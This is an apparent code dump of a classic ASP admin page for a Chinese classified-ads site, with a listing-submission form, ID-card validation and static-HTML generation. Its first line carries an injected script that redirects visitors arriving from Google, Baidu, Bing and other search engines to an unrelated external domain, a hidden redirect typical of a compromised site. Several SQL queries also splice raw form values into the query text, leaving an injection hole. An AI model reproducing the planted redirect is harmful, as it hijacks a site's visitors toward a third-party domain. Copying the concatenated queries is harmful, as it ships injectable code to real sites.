d:\wwwroot\wuchunhua\admin\addad.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dhotpoto,dlift,dmoney,sql,rs
007: dim city_one,city_two,city_three,type_one,type_two,type_three,city_oneid,city_twoid,city_threeid,type_oneid,type_twoid,type_threeid
008: dtitle=HtmlEncode(trim(request.form("dtitle")))
009: dcolor=HtmlEncode(trim(request.form("dcolor")))
010: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
011: dcu=HtmlEncode(trim(request.form("dcu")))
012: city_oneid=HtmlEncode(trim(request.form("city_one")))
013: city_twoid=HtmlEncode(trim(request.form("city_two")))
014: city_threeid=HtmlEncode(trim(request.form("city_three")))
015: type_oneid=HtmlEncode(trim(request.form("type_one")))
016: type_twoid=HtmlEncode(trim(request.form("type_two")))
017: type_threeid=HtmlEncode(trim(request.form("type_three")))
018: dlei=HtmlEncode(trim(request.form("dlei")))
019: dispic=HtmlEncode(trim(request.form("dispic")))
020: dpic=HtmlEncode(trim(request.form("dpic")))
021: dtext=HtmlEncode2(request.form("dtext"))
022: dusername=HtmlEncode(trim(request.form("dusername")))
023: dcardid=HtmlEncode(trim(request.form("dcardid")))
024: dtel=HtmlEncode(trim(request.form("dtel")))
025: dstop=dateadd("d",request.form("dstop"),date())
026: dtop=HtmlEncode(trim(request.form("dtop")))
027: dshouye=HtmlEncode(trim(request.form("dshouye")))
028: dhotpoto=HtmlEncode(trim(request.form("dhotpoto")))
029: dlift=HtmlEncode(trim(request.form("dlift")))
030: dhot=HtmlEncode(trim(request.form("dhot")))
031: dmoney=HtmlEncode(trim(request.form("dmoney")))
032:
033:
034: if dmoney<>"" then
035:   if isnumeric(dmoney)=false then
036:   response.write "<script>alert('信息费用请填写数字,立即返回!');history.back();</script>"
037:   response.end
038:   end if
039: end if
040:
041: if dtitle<>"" then
042: set rs=server.createobject("adodb.recordset")
043: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
044: city_one=rs("city")
045: rs.close
046: if city_twoid<>"" then
047: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
048: city_two=rs("city")
049: rs.close
050: end if
051: if city_twoid<>"" and city_threeid<>"" then
052: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
053: city_three=rs("city")
054: rs.close
055: end if
056: rs.open "select name from china_type where twoid=0 and threeid=0 and id="&type_oneid,conn,1,1
057: type_one=rs("name")
058: rs.close
059: if type_twoid<>"" then
060: rs.open "select name from china_type where id="&type_oneid&" and threeid=0 and twoid="&type_twoid,conn,1,1
061: type_two=rs("name")
062: rs.close
063: end if
064: if type_twoid<>"" and type_threeid<>"" then
065: rs.open "select name from china_type where id="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
066: type_three=rs("name")
067: rs.close
068: end if
069: set rs=nothing
070: set rs=server.createobject("adodb.recordset")
071: sql="select * from china_data"
072: rs.open sql,conn,1,3
073: rs.addnew
074: if city_twoid="" then city_twoid=0
075: if city_threeid="" then city_threeid=0
076: if type_twoid="" then type_twoid=0
077: if type_threeid="" then type_threeid=0
078: rs("city_oneid")=city_oneid
079: rs("city_one")=city_one
080: rs("city_two")=city_two
081: rs("city_twoid")=city_twoid
082: rs("city_three")=city_three
083: rs("city_threeid")=city_threeid
084: rs("type_oneid")=type_oneid
085: rs("type_one")=type_one
086: rs("type_twoid")=type_twoid
087: rs("type_two")=type_two
088: rs("type_threeid")=type_threeid
089: rs("type_three")=type_three
090: rs("title")=dtitle
091: rs("color")=dcolor
092: rs("bgcolor1")=dbgcolor1
093: rs("cu")=dcu
094: rs("ispic")=dispic
095: if dpic="http://" then
096: dpic=""
097: end if
098: rs("pic")=dpic
099: rs("text")=dtext
100: rs("username")=dusername
101: rs("cardid")=dcardid
102: rs("tel")=dtel
103: rs("stop")=dstop
104: rs("top")=dtop
105: rs("shouye")=dshouye
106: rs("hotpoto")=dhotpoto
107: rs("lift")=dlift
108: rs("hot")=dhot
109: if dmoney = "" then dmoney = 0
110: rs("money")=dmoney
111: rs("mark")="yes"
112: rs.update
113: rs.close
114: sql="select adid from china_data order by adid desc"
115: rs.open sql,conn,1,1
116: id=rs("adid")
117: rs.close
118: set rs=nothing                                                                                    
119: conn.close  
120: set conn=nothing
121: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
122: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
123: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
124: ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
125: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
126: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
127: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"show.asp?id="&id&""
128:
129: set http=server.createobject("MSXML2.XMLHTTP")
130: Http.open "get",ServerURL,false
131: Http.send()
132: AA=Http.responseText
133: set http=nothing
134: set objfso = Server.CreateObject("Scripting.FileSystemObject")
135: set htmout = objfso.CreateTextFile(server.mappath("../html/"&id&".htm"))
136: AA=replace(AA,"adpic/","../adpic/")
137: AA=replace(AA,"link.asp","../link.asp")
138: AA=replace(AA,"link_img.asp","../link_img.asp")
139: AA=replace(AA,"index.asp","../index.asp")
140: AA=replace(AA,"114/../index.asp","../114/index.asp")
141: AA=replace(AA,"ad.asp","../ad.asp")
142: AA=replace(AA,"TV.asp","../tv.asp")
143: AA=replace(AA,"user.asp","../user.asp")
144: AA=replace(AA,"gbook.asp","../gbook.asp")
145: AA=replace(AA,"city.asp","../city.asp")
146: AA=replace(AA,"post.asp","../post.asp")
147: AA=replace(AA,"city_more.asp","../city_more.asp")
148: AA=replace(AA,"reg.asp","../reg.asp")
149: AA=replace(AA,"login.asp","../login.asp")
150: AA=replace(AA,"search.asp","../search.asp")
151: AA=replace(AA,"114/join.asp","../114/join.asp")
152: AA=replace(AA,"fabu.asp","../fabu.asp")
153: AA=replace(AA,"type.asp","../type.asp")
154: AA=replace(AA,"show.asp","../show.asp")
155: AA=replace(AA,"114/qy../login.asp","../114/qylogin.asp")
156: AA=replace(AA,"rq_message.asp","../rq_message.asp")
157: AA=replace(AA,"top.asp","../top.asp")
158: AA=replace(AA,"money.asp","../money.asp")
159: AA=replace(AA,"pic.asp","../pic.asp")
160: AA=replace(AA,"bbs/","../bbs/")
161: AA=replace(AA,"html/","")
162: AA=replace(AA,"ip.asp","../ip.asp")
163: AA=replace(AA,"phone.asp","../phone.asp")
164: AA=replace(AA,"about.asp","../about.asp")
165: AA=replace(AA,"send_zn_message.asp","../send_zn_message.asp")
166: htmout.write replace(AA,"images/","../images/")
167: htmout.close  
168: set htmout=nothing  
169: set objfso=nothing  
170: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
171: response.redirect "ok.asp"
172: end if%
>
173:
174: <html>
175: <head>
176: <link rel="stylesheet" type="text/css" href="style.css">
177: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
178: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
179: <meta name="ProgId" content="FrontPage.Editor.Document">
180: <title>发布信息</title>
181: <SCRIPT LANGUAGE="JavaScript">
182: <!--//
183: function checkadd()
184: {  
185:
186:                    //检查年月日是否是合法日期
187:
188:                    function isdate(intYear,intMonth,intDay){
189:
190:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
191:
192:                       if(intMonth>12||intMonth<1) return false;  
193:
194:                       if ( intDay<1||intDay>31)return false;  
195:
196:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
197:
198:                       if(intMonth==2){  
199:
200:                          if(intDay>29) return false;    
201:
202:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
203:
204:                         }  
205:
206:                       return true;  
207:
208:                    }  
209:
210:
211:
212:                    //检查身份证是否是正确格式
213:
214:                    function checkCard(dcardid)
215:
216:                    {
217:
218:                        var pattern;
219:
220:                             if (dcardid.length==15)
221:
222:                             {
223:
224:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
225:
226:                                  if (pattern.exec(dcardid)==null)
227:
228:                                  {
229:
230:                                     alert("15位身份证号码必须为数字!")
231:
232:
233:                                       return false;
234:
235:                                  }
236:
237:                                  if (!isdate("19"+dcardid.substring(6,8),dcardid.substring(8,10),dcardid.substring(10,12)))
238:
239:                                  {
240:
241:                               alert("身份证号码中所含日期不正确")
242:
243:                                  return false;}
244:
245:                                 
246:
247:                             }
248:
249:                             else     if (dcardid.length==18)
250:
251:                             {
252:
253:                                 pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
254:
255:                                  if (pattern.exec(dcardid)==null)
256:
257:                                  {
258:
259:                                             alert("18位身份证号码必须为数字!")
260:
261:                                           return false;
262:
263:                                  }
264:
265:                                  if (!isdate(dcardid.substring(6,10),dcardid.substring(10,12),dcardid.substring(12,14)))
266:
267:                                  {
268:
269:                                         alert("身份证号码中所含日期不正确")  
270:
271:                                  return false;
272:
273:                                  }
274:
275:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
276:
277:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
278:
279:                                  var intTemp=0;
280:
281:                                  for(i = 0; i < dcardid.length - 1; i++)
282:
283:                                  intTemp +=  dcardid.substring(i, i + 1)  * intQuan[i];  
284:
285:                                  intTemp %= 11;
286:
287:                                  if(dcardid.substring(dcardid.length - 1,dcardid.length).toUpperCase()!=strJiaoYan[intTemp])
288:
289:                                  {
290:
291:                                         alert("身份证末位验证码失败!")
292:
293:                                  return false;
294:
295:                                  }
296:
297:                             }
298:
299:                             else
300:
301:                             {
302:
303:                             alert("身份证号长度必须为15或18!")
304:
305:                             return false;
306:
307:                             }
308:
309:                     return true;  
310:
311:                    }
312:
313:     if (document.postart.dtitle.value.length<1)
314:    {
315:         alert("请填写信息标题!");
316:         document.postart.dtitle.focus();
317:         return false;
318:     }
319:    if (document.postart.city_one.value=="")
320:    {
321:         alert("请您选择城市!");
322:         document.postart.city_one.focus();
323:         return false;
324:     }
325:     if (document.postart.type_one.value=="")
326:    {
327:         alert("请选择信息类别!");
328:         document.postart.type_one.focus();
329:         return false;
330:     }
331:    if (document.postart.dtext.value.length<1)
332:    {
333:         alert("请填写信息内容!");
334:         document.postart.dtext.focus();
335:         return false;
336:     }
337:     if (document.postart.dtext.value.length>20000)
338:    {
339:         alert("请把信息内容的字数控制在200000以内!");
340:         document.postart.dtext.focus();
341:         return false;
342:     }
343:    if (document.postart.dusername.value.length == 0) {
344:       alert("请您填写联系人姓名!");
345:       document.postart.dusername.focus();
346:       return false;
347:    }
348:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
349:    var errorChar
350:    errorChar = isCharsInBag(postart.dusername.value,str)
351:    if (errorChar != "" )
352:    {
353:       alert('联系人姓名必须是中文!');
354:       postart.dusername.focus();
355:       return false;
356:    }
357: function isCharsInBag (s, bag)
358: {
359: var i,c;
360: for (i = 0; i < s.length; i++)
361: {
362: c = s.charAt(i);//字符串s中的字符
363: if (bag.indexOf(c) > -1)
364: return c;
365: }
366: return "";
367: }
368:   
369:        if(document.postart.dusername.value.length<2||document.postart.dusername.value.length>20){
370:       alert("联系人姓名不能少于2字多于4字!");
371:       document.postart.dusername.focus();
372:       return false;
373:    }  
374:    <%if webcardid="1" then%>
375:    if (document.postart.dcardid.value.length == 0) {
376:       alert("请填写您的身份证号!");
377:       document.postart.dcardid.focus();
378:       return false;
379:    }
380:       if(checkCard(document.postart.dcardid.value)==false)
381:       {
382:          document.postart.dcardid.focus();
383:          return false;
384:       }
385:       <%end if%>
386:   
387:     if (document.postart.dtel.value.length<7)
388:    {
389:         alert("请填写您的联系电话,不能小于七位数!");
390:         document.postart.dtel.focus();
391:         return false;
392:     }
393:
394:     if (document.postart.dstop.value=="选择有效期")
395:    {
396:         alert("请选择有效期!");
397:         document.postart.dstop.focus();
398:         return false;
399:     }
400: }
401: //-->

402: </SCRIPT>
403: <SCRIPT LANGUAGE="JavaScript">      
404: <!-- Begin
405: maxLen = 200000;
406: function checkMaxInput(form) {
407: if (form.dtext.value.length > maxLen)
408: form.remLen.value = 0;
409: else form.remLen.value = maxLen - form.dtext.value.length;
410: }
411: //  End -->

412: </script>
413:
414: <script language="javascript" type="text/javascript">
415: <!--
416: function changeColor(o) {
417:     document.getElementById("colorBox").style.color = o.value;
418: }
419: //-->

420: </script>
421: <script language="javascript" type="text/javascript">
422: <!--
423: function changeColor1(o) {
424:     document.getElementById("colorBox1").style.background = o.value;
425: }
426: //-->

427: </script>
428:
429:
430: </head>
431:
432: <body background="images/background.gif">
433: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
434:   <tr>
435:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">发 布 分&nbsp;类&nbsp;信&nbsp;息</font></td>
436:   </tr>
437:   <tr>
438:     <td bgcolor="#FFFFFF"> <br>
439:         <div align="center">
440:           <form action="" method="post" name="postart" onSubmit="return checkadd()">
441:             
442:           <table width="98%" height="420" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
443:             <tr>
444:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">信息标题:</td>
445:               <td height="26" colspan="2" bgcolor="#FFFFFF">
446:                 <input type="text" name="dtitle" size="40" maxlength="40">
447:                 <font color="#FF0000">*</font></td>
448:             </tr>
449:             <tr>
450:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">是否加粗:</td>
451:               <td height="26" colspan="2" bgcolor="#FFFFFF">
452:                 <input type="radio" value="no" name="dcu">
453:                 否&nbsp;
454:                 <input type="radio" value="yes" name="dcu" checked>
455:                 是</td>
456:             </tr>
457:             <tr bgcolor="#FFFFFF">
458:               <td align="right" bgcolor="#FFFFFF">标题颜色:</td>
459:               <td height="26" bgcolor="#FFFFFF">
460:                 <input name="dcolor" type="text" id="dcolor" size="8" onChange="changeColor(this);" />
461:                 <input type="button" name="Submit" value="选择颜色" onClick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
462:               </td>
463:               <td rowspan="2" align="center" bgcolor="#FFFFFF">
464:                 <table width="180" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
465:                   <tr>
466:                     <td align="center" bgColor="#EFF7FE">
467:                       <div id="colorBox1" style="width: 180px;height: 24px">
468:                         <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
469:                           <tr>
470:                             <td></td>
471:                           </tr>
472:                         </table>
473:                         <div id="colorBox"><font style="font-size:14px"><b>标题和背景颜色演示</b></font></div>
474:                       </div>
475:                     </td>
476:                   </tr>
477:                 </table>
478:               </td>
479:             </tr>
480:             <tr bgcolor="#FFFFFF">
481:               <td align="right" bgcolor="#FFFFFF">标题背景:</td>
482:               <td height="26" bgcolor="#FFFFFF">
483:                 <input name="dbgcolor1" type="text" id="dbgcolor1" size="8" onChange="changeColor1(this);" />
484:                 <input type="button" name="Submit" value="选择颜色" onClick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
485:               </td>
486:             </tr>
487:             <tr>
488:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">选择城市:</td>
489:               <td height="26" colspan="2" bgcolor="#FFFFFF">
490:                 <%
491: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
492: %
>
493:       <script language = "JavaScript">
494: var onecount;
495: onecount=0;
496: subcat = new Array();
497:         <%
498:       dim count:count = 0
499:         do while not rs.eof
500:         %
>
501: subcat[<%=count%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>");
502:         <%
503:         count = count + 1
504:         rs.movenext
505:         loop
506:         rs.close
507:       set rs=nothing
508:         %
>
509: onecount=<%=count%>;
510: </script>
511: <%
512: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
513: %
>
514: <script language = "JavaScript">
515: var onecount4;
516: onecount4=0;
517: subcat4 = new Array();
518:         <%
519:       dim count4:count4 = 0
520:         do while not rs.eof
521:         %
>
522: subcat4[<%=count4%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>","<%=rs("threeid")%>");
523:         <%
524:         count4 = count4 + 1
525:         rs.movenext
526:         loop
527:         rs.close
528:       set rs = nothing
529:         %
>
530: onecount4=<%=count4%>;
531:
532: function changelocation(locationid)
533:     {
534:     document.postart.city_two.length = 0;
535:    document.postart.city_two.options[0] = new Option('选择城市','');
536:    document.postart.city_three.length = 0;
537:    document.postart.city_three.options[0] = new Option('选择城市','');
538:     var locationid=locationid;
539:     var i;
540:     for (i=0;i < onecount; i++)
541:         {
542:             if (subcat[i][1] == locationid)
543:             {
544:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
545:             }        
546:         }
547:         
548:     }    
549:   
550:    function changelocation4(locationid,locationid1)
551:     {
552:     document.postart.city_three.length = 0;
553:     document.postart.city_three.options[0] = new Option('选择城市','');
554:     var locationid=locationid;
555:     var locationid1=locationid1;
556:     var i;
557:     for (i=0;i < onecount4; i++)
558:         {
559:             if (subcat4[i][2] == locationid)
560:             {
561:          if (subcat4[i][1] == locationid1)
562:          {
563:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
564:             }        
565:         }
566:        }
567:     }            
568:               </script>
569:       <select name="city_one" size="1" id="select2" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
570:         <option value="" selected>选择城市</option>
571:         <%set rs=conn.execute("select * from china_city where id>0 and twoid=0")
572: if rs.eof or rs.bof then
573: response.write "<option value=''>没有分类</option>"
574: else
575: do until rs.eof
576: response.write "<option value='"&rs("id")&"'>"&rs("city")&"</option>"
577:     rs.movenext
578:     loop
579: end if
580: rs.close
581: set rs = nothing
582: %
>
583:       </select>
584:       <select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
585:     <option value="" selected>选择城市</option>
586:    </select>
587:         <select name="city_three" id="city_three">
588:         <option value="" selected>选择城市</option>
589:     </select>
590:                 <font color="#FF0000">*</font> </td>
591:             </tr>
592:             <tr>
593:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">信息类别:</td>
594:               <td height="26" colspan="2" bgcolor="#FFFFFF">
595:                 <%
596: set rs=conn.execute("select * from china_type where id>0 and twoid>0 and threeid=0")
597: %
>
598:       <script language = "JavaScript">
599: var onecount2;
600: onecount2=0;
601: subcat2 = new Array();
602:         <%
603:       dim count2:count2 = 0
604:         do while not rs.eof
605:         %
>
606: subcat2[<%=count2%>] = new Array("<%=rs("name")%>","<%=rs("id")%>","<%=rs("twoid")%>");
607:         <%
608:         count2 = count2 + 1
609:         rs.movenext
610:         loop
611:         rs.close
612:       set rs = nothing
613:         %
>
614: onecount2=<%=count2%>;
615: </script>
616:
617: <%
618: set rs=conn.execute("select * from china_type where id>0 and twoid>0 and threeid>0")
619: %
>
620: <script language = "JavaScript">
621: var onecount3;
622: onecount3=0;
623: subcat3 = new Array();
624:         <%
625:       dim count3:count3 = 0
626:         do while not rs.eof
627:         %
>
628: subcat3[<%=count3%>] = new Array("<%=rs("name")%>","<%=rs("id")%>","<%=rs("twoid")%>","<%=rs("threeid")%>");
629:         <%
630:         count3 = count3 + 1
631:         rs.movenext
632:         loop
633:         rs.close
634:       set rs = nothing
635:         %
>
636: onecount3=<%=count3%>;
637:
638:
639:
640: function changelocation2(locationid)
641:     {
642:     document.postart.type_two.length = 0;
643:     document.postart.type_two.options[0] = new Option('选择信息','');
644:    document.postart.type_three.length = 0;
645:     document.postart.type_three.options[0] = new Option('选择信息','');
646:     var locationid=locationid;
647:    var i;
648:     for (i=0;i < onecount2; i++)
649:         {
650:             if (subcat2[i][1] == locationid)
651:             {
652:                 document.postart.type_two.options[document.postart.type_two.length] = new Option(subcat2[i][0], subcat2[i][2]);
653:             }        
654:         }
655:       
656:     }    
657:      function changelocation3(locationid,locationid1)
658:     {
659:     document.postart.type_three.length = 0;
660:     document.postart.type_three.options[0] = new Option('选择信息','');
661:     var locationid=locationid;
662:     var locationid1=locationid1;
663:     var i;
664:     for (i=0;i < onecount3; i++)
665:         {
666:             if (subcat3[i][2] == locationid)
667:             {
668:          if (subcat3[i][1] == locationid1)
669:          {
670:                 document.postart.type_three.options[document.postart.type_three.length] = new Option(subcat3[i][0], subcat3[i][3]);
671:             }        
672:         }
673:        }
674:     }            
675:     </script>
676:       <select name="type_one" size="1" id="select3" onChange="changelocation2(document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
677:         <option value="" selected>选择信息</option>
678:         <%set rs=conn.execute("select * from china_type where id>0 and twoid=0")
679: if rs.eof or rs.bof then
680: response.write "<option value=''>没有分类</option>"
681: else
682: do until rs.eof
683: response.write "<option value='"&rs("id")&"'>"&rs("name")&"</option>"
684:     rs.movenext
685:     loop
686:    type_oneid=HtmlEncode(trim(request.form("type_one")))
687:    response.Write(type_oneid)
688: end if
689: rs.close
690: set rs = nothing
691: conn.close
692: set conn= nothing
693: %
>
694:       </select>
695:       <select name="type_two" id="select4" onChange="changelocation3(document.postart.type_two.options[document.postart.type_two.selectedIndex].value,document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
696:         <option value="" selected>选择信息</option>
697:     </select>
698:    <select name="type_three" id="select5">
699:         <option value="" selected>选择信息</option>
700:     </select>
701:               </td>
702:             </tr>
703:             <tr>
704:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">信息形式:</td>
705:               <td height="26" colspan="2" bgcolor="#FFFFFF">
706:                 <input type="radio" value="no" name="dispic" checked>
707:                 文字信息&nbsp;
708:                 <input type="radio" value="yes" name="dispic">
709:                 图片信息</td>
710:             </tr>
711:             <tr>
712:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">图片路径:</td>
713:               <td height="26" colspan="2" bgcolor="#FFFFFF">
714:                 <input type="text" name="dpic" size="30" value="">
715: <iframe style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe></td>
716:             </tr>
717:             <tr>
718:               <td width="27%" align="right" valign="top" bgcolor="#FFFFFF">信息内容:
719:               </td>
720:               <td colspan="2" bgcolor="#FFFFFF">
721:                  <textarea rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"></textarea>
722:                 <font color="#FF0000">*&nbsp;</font> <font color="#FF0000"><br>
723:                 目前还可写
724:                 <input readonly type=text name=remLen size=5 maxlength=4 value="20000" style="border: 1 solid #888888">
725:                 个字!</font></td>
726:             </tr>
727:             <tr>
728:               <td height="26" align="right" bgcolor="#FFFFFF">联系人:</td>
729:               <td height="26" colspan="2" bgcolor="#FFFFFF">
730:                 <input name="dusername" type="text" id="dusername" size="20" maxlength="20" value="管理员">
731:                 <font color="#FF0000">* </font></td>
732:             </tr>
733:             <tr <%if webcardid="0" then%>style="display:none"<%end if%>>
734:               <td height="26" align="right" bgcolor="#FFFFFF">身份证号:</td>
735:               <td height="26" colspan="2" bgcolor="#FFFFFF">
736:                 <input name="dcardid" type="text" id="dcardid" size="20" maxlength="18">
737:                 <font color="#FF0000">* </font></td>
738:             </tr>
739:             <tr>
740:               <td height="26" align="right" bgcolor="#FFFFFF">联系电话:</td>
741:               <td height="26" colspan="2" bgcolor="#FFFFFF">
742:                 <input name="dtel" type="text" id="dtel" size="20" maxlength="20">
743:                 <font color="#FF0000">* </font></td>
744:             </tr>
745:             <tr>
746:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">有效期至:</td>
747:               <td height="26" colspan="2" bgcolor="#FFFFFF">
748:                 <select size="1" name="dstop">
749:                   <option value="选择有效期">选择有效期</option>
750:                   <option value="7">一星期</option>
751:                   <option value="15">半个月</option>
752:                   <option value="31">一个月</option>
753:                   <option value="61">两个月</option>
754:                   <option value="92" selected>三个月</option>
755:                   <option value="183">半年</option>
756:                   <option value="365">一年</option>
757:                   <option value="3650">长期</option>
758:                 </select>
759:               </td>
760:             </tr>
761:             <tr>
762:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">是否固顶:</td>
763:               <td height="26" colspan="2" bgcolor="#FFFFFF">
764:                 <input type="radio" value="0" name="dtop" checked>
765:                 否&nbsp;
766:                 <input type="radio" value="1" name="dtop">
767:                 是 <font color="#ff0000">(注:设置为此属性将在排列在同栏目的首位显示)</font></td>
768:             <tr bgcolor="#FFFFFF">
769:               <td height="26" align="right">是否首页滚动显示:</td>
770:               <td height="26" colspan="2">
771:                 <input name="dshouye" type="radio" value="0" checked>
772:                 否&nbsp;
773:                 <input type="radio" value="1" name="dshouye">
774:                 是 <font color="#ff0000">(注:设置为此属性将在首页“滚动栏”处显示)</font></td>
775:             </tr>
776:             <tr bgcolor="#FFFFFF">
777:               <td height="26" align="right">是否图片推荐信息:</td>
778:               <td height="26" colspan="2">
779:                 <input name="dhotpoto" type="radio" value="0" checked>
780:                 否&nbsp;
781:                 <input type="radio" value="1" name="dhotpoto">
782:                 是 <font color="#ff0000">(注:显示到首页"图片推荐信息"处,一共三副图片位)</font></td>
783:             </tr>
784:             <tr bgcolor="#FFFFFF">
785:               <td height="26" align="right">是否图文信息:</td>
786:               <td height="26" colspan="2">
787:                 <input name="dlift" type="radio" value="0" checked>
788:                 否&nbsp;
789:                 <input type="radio" value="1" name="dlift">
790:                 是 <font color="#FF0000">(注:是否在首页右侧显示为图片及文字混合显示,如:旅游出行/餐饮美食/装修装饰)</font></td>
791:             </tr>
792:             <tr bgcolor="#FFFFFF">
793:               <td height="26" align="right">热点分类信息:</td>
794:               <td height="26" colspan="2">
795:                 <input name="dhot" type="radio" value="0" checked>
796:                 否&nbsp;
797:                 <input type="radio" value="1" name="dhot">
798:                 是 <font color="#ff0000">(注:设置为此属性将在首页“热点分类信息”处显示)</font></td>
799:             </tr>
800:             <tr>
801:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">竟价费用:</td>
802:               <td height="26" colspan="2" bgcolor="#FFFFFF">
803:                 <input name="dmoney" size="15" maxlength="50">
804:                 元 <font color="#FF0000">(注:金额越大,排列位置越靠前)</font></td>
805:             </tr>
806:             <tr>
807:               <td width="27%" height="30" align="right" bgcolor="#FFFFFF"> </td>
808:               <td height="30" colspan="2" align="right" bgcolor="#FFFFFF">
809:                 <p align="left">
810:                   <input type="submit" value="提交" name="submit">
811:                   &nbsp;
812:                   <input type="reset" value="取消" name="reset">
813:                   &nbsp;
814:                   <input type="button" value="返回" name="back" onClick="javascript:history.back()">
815:               </td>
816:             </tr>
817:           </table>
818:           </form>
819:         </div>
820:         <br>
821:     </td>
822:   </tr>
823: </table>                                                                                    
824: </body>                                                                                                                      
825:                                                                                                                       
826: </html>                                                                                                                      
827:
828:
829: